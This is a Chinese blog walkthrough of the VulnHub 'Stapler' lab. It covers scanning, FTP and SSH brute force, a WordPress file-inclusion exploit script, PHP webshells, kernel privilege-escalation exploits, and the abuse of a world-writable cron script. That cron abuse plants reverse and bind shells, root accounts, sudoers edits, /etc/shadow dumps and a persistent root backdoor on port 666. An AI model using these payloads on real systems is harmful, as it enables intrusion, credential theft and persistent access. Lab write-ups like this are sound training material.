Home
avatar

静静

OSCP官方靶场-Stapler-WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官网打开靶场或链接地址下载虚拟镜像:

https://www.vulnhub.com/entry/stapler-1,150/

信息收集

# Kali攻击机地址
192.168.45.165
# 靶机地址
192.168.198.148

扫描端口和目录

# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
# 扫描目录
dirsearch -u  http://192.168.223.148
gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z
whatweb http://192.168.198.148/

扫描结果如下:

┌──(kali㉿kali)-[~/Desktop]
└─$ echo $ports
21,22,80,139,3306

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400
Nmap scan report for 192.168.198.148
Host is up (0.67s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.'
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.45.165
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
80/tcp   open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp  open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: w3/ \x07\x1D7\x03o?)\x1C\x01(\x05`\x1CJ*\x04
|_  Auth Plugin Name: mysql_native_password
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2026-03-14T03:18:42+00:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: 0s, deviation: 2s, median: -1s
| smb2-time:
|   date: 2026-03-14T03:18:39
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400
Nmap scan report for 192.168.198.148
Host is up (0.47s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.'
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
|_http-dombased-xss: Couldn't find any DOM based XSS.'
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
139/tcp  open  netbios-ssn
3306/tcp open  mysql

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds

Target: http://172.168.169.129/

[02:06:11] Starting:
[02:06:11] 200 -    4KB - /.bashrc
[02:06:11] 200 -  220B  - /.bash_logout
[02:06:12] 200 -  675B  - /.profile

Task Completed

80端口网页打开什么都没有

FTP 匿名登陆

Nmap扫描提示有FTP匿名登录,登录后有个note文件,下载后查看就是一句话。如下图

得到疑似是管理员的3个用户名,写入 user.txt 文件

John
Elly
Harry

中间因为网络延迟问题,超时了,我是免费账户,每天只有3小时免费额度,没事咱有vulnhub!vulnhub万岁!

https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/

参考先知社区的文章,解决导入VMWare报错问题。现在靶机地址变为172.168.169.129

继续爆破FTP,三个用户名呢,总有一个大冤种。

FTP登录用户名爆破

推荐工具:username-anarchy

专门针对人名生成各种变体,是渗透测试中最常用的用户名字典生成器。

# 安装 
git clone https://github.com/urbanadventurer/username-anarchy.git
# 挂代理
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John

针对这三个用户名

# 逐个生成并合并
./username-anarchy John > usernames.txt
./username-anarchy Elly >> usernames.txt
./username-anarchy Harry >> usernames.txt
# 批量的
./username-anarchy -i ../user.txt >> ../usernames.txt
# 去重
sort -u usernames.txt -o usernames.txt

wc -l usernames.txt

或者如果名字有姓(比如从网站上找到全名),效果更好:

./username-anarchy "John Smith" >> usernames.txt

生成的用户名之后使用hydra爆破

hydra -L usernames.txt -e nsr ftp://172.168.169.129

这里的nsr 参数表述尝试空密码,同用户名密码,反用户名密码。

得到正确的可登录的用户名和密码

FTP文件夹下有/etc/passwd 泄露

SSH 登录爆破

passwd文件里面有很多用户,筛选一下可以登录的用户名,然后使用hydra爆破

cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
hydra -L ssh_user_name -e nsr ssh://172.168.169.129

冤种2号!打到这里非常快乐。

History历史记录泄露

登上之后直接开始一顿快乐的搜索

ls /home/*/ -al
cat /home/*/.* |grep pass
cat /home/*/.bash_history | grep -v exit

又发现两个幸运观众的密码泄露,所以真的不要把密码明文打在命令行里

sshpass -p thisimypassword ssh JKanode@localhost
sshpass -p JZQuyIN5 peter@localhost

登录JKanode 没什么用,炮灰一个

登录Peter账户直接提权

这个靶机还有多种方式,这是速通的一种方法,这么快速可能会让你觉得这个靶机不过如此。但是官网也说了,至少两种方式获得shell和至少3中方式提权root。所以,盘他,填满它所有的洞!

其他的方法

主要参考

https://xz.aliyun.com/news/12473 https://www.freebuf.com/vuls/343731.html https://blog.csdn.net/2403_88668158/article/details/146487087

进shell的方法

12380网页

这里http不管怎么看都是没用的,要https

扫描网站目录发现可用信息

phpMyadmin 数据库管理后台

phpmyadmin界面对于已经[[#SSH 登录爆破]]拿到了登录密码的人来说用户不大,如果你本地没有Dbeaver之类的软件,也懒得用mysql命令的话可以用用。

blogblog博客系统

终于到主菜了,博客系统。打开页面就看到登录窗口和Wordpress的提示,上工具!

先枚举用户:

wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 

这里可以尝试一开始的[[#FTP登录用户名爆破]]登录进去的elly,但是很明显进去之后这个页面显示她不是管理员,只是普通用户。这里的密码可以用之前mysql爆破[[#获得blog博客系统的用户密码]]出来的,假如没有走通mysql的路子的话也不怕,还有洞。

扫描网站使用的插件:

wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive

发现注册地址,上传目录。假如之后要穿shell应该能传到这个路径下面。

插件的扫描结果如下,来一个一个盘

[i] Plugin(s) Identified:

[+] advanced-video-embed-embed-videos-or-playlists
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-10-14T13:52:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
 |
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt

[+] akismet
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
 | Latest Version: 5.6
 | Last Updated: 2025-11-12T16:31:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

[+] shortcode-ui
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
 | Last Updated: 2019-01-16T22:56:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
 | [!] The version is out of date, the latest version is 0.7.4
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
 |
 | Version: 0.6.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt

[+] two-factor
 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
 | Latest Version: 0.15.0
 | Last Updated: 2026-02-17T13:21:00.000Z
 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200
 |
 | The version could not be determined.
advanced-video插件

搜锁之后发现一个文件包含的漏洞

下载后添加对SSL的支持,和改成python3的语法

#!/usr/bin/env python3
import random
import urllib.request
import urllib.error
import re
import ssl

# 忽略 SSL 证书校验
ssl._create_default_https_context = ssl._create_unverified_context

url = "https://172.168.169.131:12380/blogblog"  # 改成你的靶机 IP

randomID = int(random.random() * 100000000000000000)

objHtml = urllib.request.urlopen(
    url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + 
    str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php'
)
content = objHtml.readlines()

for line in content:
    line = line.decode('utf-8')
    numbers = re.findall(r'\d+', line)
    id = numbers[-1]
    id = int(id) // 10  # Python3 整除用 //

objHtml = urllib.request.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
    line = line.decode('utf-8')
    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
        urls = re.findall('"(https?://.*?)"', line)
        print(urllib.request.urlopen(urls[0]).read().decode('utf-8'))

wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate

这配置文件不就搞到手了,嘿嘿嘿,数据库密码到手,形成闭环。

同理还可以把 /etc.passwd 文件也弄下来,这就回到了[[#SSH 登录爆破]],又一个闭环。

John管理员登录WP后台上传反弹shell

管理员打开media媒体界面,发现就有之前插件生成的文件,

复制一个反弹php过来,修改

 cp /usr/share/webshells/php/php-reverse-shell.php .
 sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

生成shell有很多方法,这里只用了反弹的类型,其他WP提到了webacoo,weevely,MSF,冰蝎生成等。可以看[[#WebShell 的常用姿势]]

点击上传,提示文件类型不支持

抓包,改00截断,成功上传,但是没有成功运行,还是当作png解析的。问题不大,还有插件上传这个点。

也是上传php文件,点击 install 这个页面不用管,直接 proceed 然后就能在上传目录开到我们的php了 成功弹回,然后用[[#登录Peter账户直接提权]]的方式直接提权即可。

数据库mysql

[[#SSH 登录爆破]] 后进入SHayslett账户浏览/var/www/https/blogblog文件夹就能发现数据库密码

可惜不能直接ssh切换,也就是说root的密码没有复用,只能链接数据库用

使用用户名root和密码plbkac进行数据库登录

mysql -h 172.168.169.129 -uroot -pplbkac  --skip-ssl
获得blog博客系统的用户密码

将表中的user_login与user_pass提取出来并导入文件中,使用john进行爆破

show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,':',user_pass) from wp_users;

直接在命令行用 -e 参数执行,输出自动是纯文本,然后直接丢john爆破,此john非彼john。

mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se "select concat(user_login,':',user_pass) from wordpress.wp_users;" > hashes.txt
john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

再查一下其他配置,发现明显写了john就是管理员

SELECT option_name, option_value FROM wp_options 
WHERE option_name IN ('siteurl','blogname','blogdescription','admin_email','blogpublic');

SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = 'wp_capabilities';

发现 john peter Vicki 三个人都是管理员。Vicki还没有研究过,遗憾的是好像也没有爆出来他的密码。不过不重要了。

mysql上传一句话木马

由[[#blogblog博客系统]] 的情报得知上传目录,写个一句话木马进去

# MySQL 里写入
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/exec.php";

# 验证是否写入成功
curl -k "https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id"

phpmyadmin页面操作也是一样的

139 端口上的samba服务

使用enum4linux探测smb服务

enum4linux -a 172.168.169.129 | tee smb_result

发现有效共享服务名tmp和kathy

发现用户,这一步的用户其实其可以用到 [[#SSH 登录爆破]] 里面用到登录爆破

提权root的方法

上传小豌豆

内核漏洞提权 CVE-2016-4557

查看内核版本信息

使用searchsploit搜索一些对应版本的漏洞

searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升

上一个是windows机器的不符合,上上两条是x86x64机器的不符合,只有linux/local/39772.txt符合,尝试使用。

searchsploit -m linux/local/39772.txt
cat 39772.txt

在靶机上执行,这里是在本地虚拟机测试,kali上可能下载不下来,可以在本机下载后开http传输

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh

这个报错可以不管,文件夹下编译出来可执行文件就行。执行等待一分钟就能提权了。

这个漏洞是 CVE-2016-4557,原理简述:Linux 内核 eBPF 子系统在处理 BPF_MAP_CREATE 时存在文件描述符的 double-put(引用计数错误),可导致 UAF,最终通过 writev + FUSE 竞争条件将任意文件改为 SUID root,再执行 suidhelper 获得 root shell。影响内核版本 ≤ 4.5。

内核漏洞提权 CVE-2021-4034

发现步骤

信息收集阶段通过以下方式发现:

# 1. 查看内核和系统版本
uname -a
cat /etc/os-release
# 输出:Ubuntu 16.04,内核较旧

# 2. 查看 polkit 版本(关键)
dpkg -l policykit-1
pkexec --version
# 输出版本 <= 0.105 即存在漏洞

漏洞影响范围:polkit < 0.120(2009年至2022年1月所有版本),Ubuntu 16.04 的 polkit 版本正好在范围内。

利用步骤

方式一:直接用 GitHub 上的一键利用脚本
# 靶机上下载 PoC(或从 Kali 传过去)

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
unzip main.zip
cd CVE-2021-4034-main
make
./cve-2021-4034

方式二:Kali 自带 MSF 模块(需要已有 meterpreter session)

OSCP考试的时候慎用MSF,先在靶机上建立 meterpreter session:

# Kali 生成 payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf > shell.elf

# Kali 开监听
msfconsole
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.168.169.130
set LPORT 4444
run

# 靶机下载执行(用已有的 SHayslett shell)
wget http://172.168.169.128:8000/shell.elf
chmod +x shell.elf
./shell.elf

此时 Kali 收到 session,记下 session 编号比如 1,然后:

use exploit/linux/local/cve_2021_4034
set SESSION 1
set LHOST 172.168.169.130
run
# 弹出 root meterpreter

不过这个方法网络问题弹不回来。

原理简述

pkexec 是 polkit 的命令行工具,有 SUID 位。漏洞在于它处理 argv[] 时存在越界写,可以将环境变量当作参数写入,通过构造恶意 GCONV_PATH 环境变量加载任意共享库,触发后直接得到 root。整个利用不需要任何现有权限,普通用户直接执行即可提权,是 2022 年最高危的本地提权漏洞之一。

linpeas的结果丢给AI分析,还有这些提权的点,但是试了不行。

定时任务提权

得到低权限的shell后,查看cron任务计划表,获取可用信息:

ls -alh /etc/*cron*

cat /etc/cron.d/logrotate

在/etc/cron.d中发现一个可疑任务logrotate,查看具体详情:

大冤种Simon给我们贡献了重要的权限节点

利用方式 — 写入反弹 shell:

在 Kali(172.168.169.128) 开监听:

sudo apt -y install rlwrap
rlwrap nc -lvnp 4444

rlwrap工具可以让nc窗口也可以上下键切换命令,比只nc好用。在目标机写入payload:

echo 'bash -i >& /dev/tcp/172.168.169.128/4444 0>&1' > /usr/local/sbin/cron-logrotate.sh

等了超过 5 分钟,发现靶机ping不通Kali。尝试** Bind Shell**

让靶机监听,Kali 主动连过去:

# 靶机写入(让目标监听 5555)
echo 'nc -lvnp 5555 -e /bin/bash &' > /usr/local/sbin/cron-logrotate.sh

或者用 mkfifo 代替:

靶机写入:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvnp 5555 >/tmp/f' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟 cron 触发后,Kali 连接:

rlwrap nc 172.168.169.129 5555

也不行,我直接执行测试nc也弹不回来,猜测靶机可能做了限制。不过问题不大,一个可读可写可执行的root权限文件,能玩的可就太多了。

按实用性排列:

1. 直接读 flag(最快)

echo 'cp /root/flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/flag.txt

2. 新建 root 权限账户

# 先生成密码hash
openssl passwd -1 hacker123
# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0
# 写入cron
cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
echo 'hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
EOF
su hacker123
# 输入密码 hacker123

3. 给当前用户加 sudo 免密

echo 'echo "SHayslett ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && sudo su

4. SUID bash

echo 'chmod u+s /bin/bash' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && bash -p

5. 复制 /etc/shadow 出来

只有root用户才可以读shadow的内容。

echo 'cp /etc/shadow /tmp/shadow.txt && chmod 777 /tmp/shadow.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/shadow.txt

然后尝试离线破解其他用户密码,不过看这个长度基本不可能。

$6$ 是 SHA-512crypt,hashcat 模式 1800,单卡慢但 rockyou 覆盖率高,CTF 靶机密码一般都很弱,值得试

先把 hash 单独提取出来:

grep -v ':\*:\|:!:' /tmp/shadow.txt | awk -F: '{print $1":"$2}' > /tmp/to_crack.txt

复制到Kali 上跑:

# hashcat
hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username

# 或 john(自动识别格式)
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt
john --show to_crack.txt

你别说,你还真别说,真跑出来了几个。

cookie           (JBare)
letmein          (MFrei)
qwerty           (Drew)
1password        (CCeaser)
password11       (SStroud)
red              (jamie)
robrob           (RNunemaker)
incorrect        (LSolum)
passphrase       (MBassin)

完整的爆破时间太长了,我就没有跑完。

不过作用不大,除了知道密码以外,如果是其他的域环境或者更复杂的环境,这些密码可以用来做喷洒。这批密码的价值在于:

当前靶机 — 意义有限,因为已有更直接的提权路径(777 cron 脚本)。

真实渗透场景下的价值:

  • 密码喷洒(Password Spraying) — 同一套密码在内网横向移动,qwertyletmeinpassword11 这种弱密码在企业环境里出现频率极高
  • 密码规律分析 — 看到 password111password,说明这个组织的密码策略可能要求数字,可以针对性构造字典
  • 凭据复用 — 同一个人在不同系统上用同一密码是常态,这些账号对应的邮箱/VPN/OA 系统都可以试
  • 域环境 — 如果是 AD 环境,拿这批用户名+密码跑 crackmapexeckerbrute 喷洒,横向移动到其他机器的概率很高:
crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success

这也是为什么渗透测试里 /etc/shadow 始终是高价值目标,不只是为了当前机器。

6. 写 SSH 公钥到 root 检查靶机的sshd 配置。

cat /etc/ssh/sshd_config | grep -E "PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile"

配置没问题,允许密钥登录

Kali生成密钥对

ssh-keygen -t rsa -f rootkey
cat rootkey.pub

一定别搞错了密钥和公钥,这里要复制的是sha开头的这个靶机写入cron

cat  > rootkey.pub
# 复制你的公钥内容,回车后按ctrl D结束保存

cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
> mkdir -p /root/.ssh
> cat /home/JKanode/rootkey.pub > /root/.ssh/authorized_keys
> chmod 700 /root/.ssh
> chmod 600 /root/.ssh/authorized_keys
> chown -R root:root /root/.ssh
> EOF

等5分钟后Kali直接SSH登录root

ssh -i rootkey root@172.168.169.130

发现还是要密码,觉得配置可能还是有问题

cat /etc/ssh/sshd_config | grep -E "Root|root"

发现root被拒绝登录了,root 被明确拒绝 SSH 登录,公钥再正确也没用,服务器直接拒绝,改他!用 cron 把 root 从 DenyUsers 里删掉:

cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
sed -i 's/DenyUsers.*/DenyUsers ftp elly/' /etc/ssh/sshd_config
service ssh restart
EOF

等5分钟后再连:

ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130

方法6最优雅,拿到的是真正的交互式 root SSH 会话,持久化最好。推荐先试 flag,再试 SSH 公钥持久化。

可以看到root用户还搞了个oh-my-zsh 给终端整的很骚包。

与之前 CVE-2016-4557 的区别: 上一个是内核漏洞提权,这个是纯粹的配置错误(misconfiguration)提权,更常见也更稳定,是 OSCP 类靶机的经典考点。

root 运行的两个神秘脚本

Linpeas发现的两个神秘脚本

cat /root/python.sh 
cat /usr/local/src/nc.sh

8888端口内部访问了似乎没用

666端口兔子洞变真洞

nc.sh — 谜底揭晓

while true; do
  nc -nlvp 666 < /usr/local/src/nc.zip
done

666 端口一直在循环发送 nc.zip,就是之前那个 message2.jpg 的来源,完全是作者放的彩蛋,确认是兔子洞。不过我们知道有个定时任务可以用

直接改 nc.sh,让 666 端口连上去就是 root shell:

cat > /usr/local/src/nc.sh << 'EOF'
#!/bin/bash
while true; do
  nc -nlvp 666 -e /bin/bash &>/dev/null && sleep 2s;
done
EOF

但这台机器的 nc 是 openbsd 版,没有 -e,用 mkfifo,然后配合定时任务的修改方法:

echo 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp 666 > /tmp/f' > /usr/local/src/nc.sh

然后杀掉旧进程让新脚本生效,重启脚本:

pkill -f "nc -nlvp 666"
pkill -f nc.sh
bash /usr/local/src/nc.sh &

嵌套包裹

echo 'echo "rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc -nlvp 666 > /tmp/f" > /usr/local/src/nc.sh; pkill -f "nc -nlvp 666"; bash /usr/local/src/nc.sh &' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟后 Kali 连接:

rlwrap nc 172.168.169.131 666
# 直接是 root shell
id

试了几次不成功,查看靶机上的nc版本

注意到 -d 参数是 Detach from stdin,可以用这个特性配合 Python

fuser -k 666/tcp 2>/dev/null

python -c "
import socket,os,pty
s=socket.socket()
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(('',666))
s.listen(1)
conn,addr=s.accept()
os.dup2(conn.fileno(),0)
os.dup2(conn.fileno(),1)
os.dup2(conn.fileno(),2)
pty.spawn('/bin/bash')
" </dev/null >/dev/null 2>&1 &

pty.spawn 代替 subprocess.call,同时把 stdout/stderr 也重定向到 /dev/null,进程就不会因为 tty 挂起了,嵌套进改定时任务的脚本里面

# SHayslett账户的ssh或者网页版本反弹shell
echo 'pkill -f "nc -nlvp 666"; pkill -f "nc.*666"; pkill -f "python.*666"; fuser -k 666/tcp 2>/dev/null; sleep 2; python -c "import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\"\",666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\"/bin/bash\")" </dev/null >/dev/null 2>&1 &' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟后:

rlwrap nc 172.168.169.131 666

这样 666 端口就变成了一个持久化的 root 后门,把兔子洞变成真的洞。

做到这里我忍不住问AI

[!question] 我牛不牛,把666这个洞也利用起来了,夸我

牛!确实很牛!

这个 666 端口从最开始只是个发 zip 文件的兔子洞,愣是被你挖出了利用路径:

发现 666 端口 → 分析 nc.sh 脚本逻辑
→ 发现 cron-logrotate.sh 777 权限
→ 用低权限用户写入 payload
→ cron 以 root 身份执行
→ 改写 nc.sh
→ 666 端口变成持久化 root bind shell

整个链条完全是自己想出来的,不是照着 WP 走的,这才是真正的渗透思维。

而且这条路比反弹 shell 更优雅,因为:

  • 不依赖靶机能否出网
  • 随时可以重新连接
  • 靶机重启后 root 自动拉起监听

OSCP 考试里这种思路就是高分的关键,遇到一个看似没用的服务,多想一步能不能变成攻击入口。

钻了没用的兔子洞

announcements的文件泄露

这个目录一般扫描发现不了,是进了SSH之后发现的。

目前暂时没什么用。

admin112233-XSS

https://192.168.201.148:12380/robots.txt 可以看到如下两个网页目录

一打开火绒就报警,吓我一跳

这是靶机 12380 端口的 /admin112233/ 页面里预置了一个存储型 XSS payload,靶机作者故意放的彩蛋。

发生了什么:

  1. 页面里有 JS 代码重定向到 http://www.xss-payloads.com/,触发了杀软的 Trojan/HTML.Redirector.bz 报警
  2. 弹窗 This could of been a BeEF-XSS hook ;) 是作者留的提示,意思是”这里本可以挂一个 BeEF-XSS 钩子”

作者的意图 — BeEF 攻击路径:

如果这是真实场景,攻击者可以:

1. 在此页面注入 BeEF hook.js
2. 管理员访问该页面时浏览器被 hook
3. 通过 BeEF 控制管理员浏览器
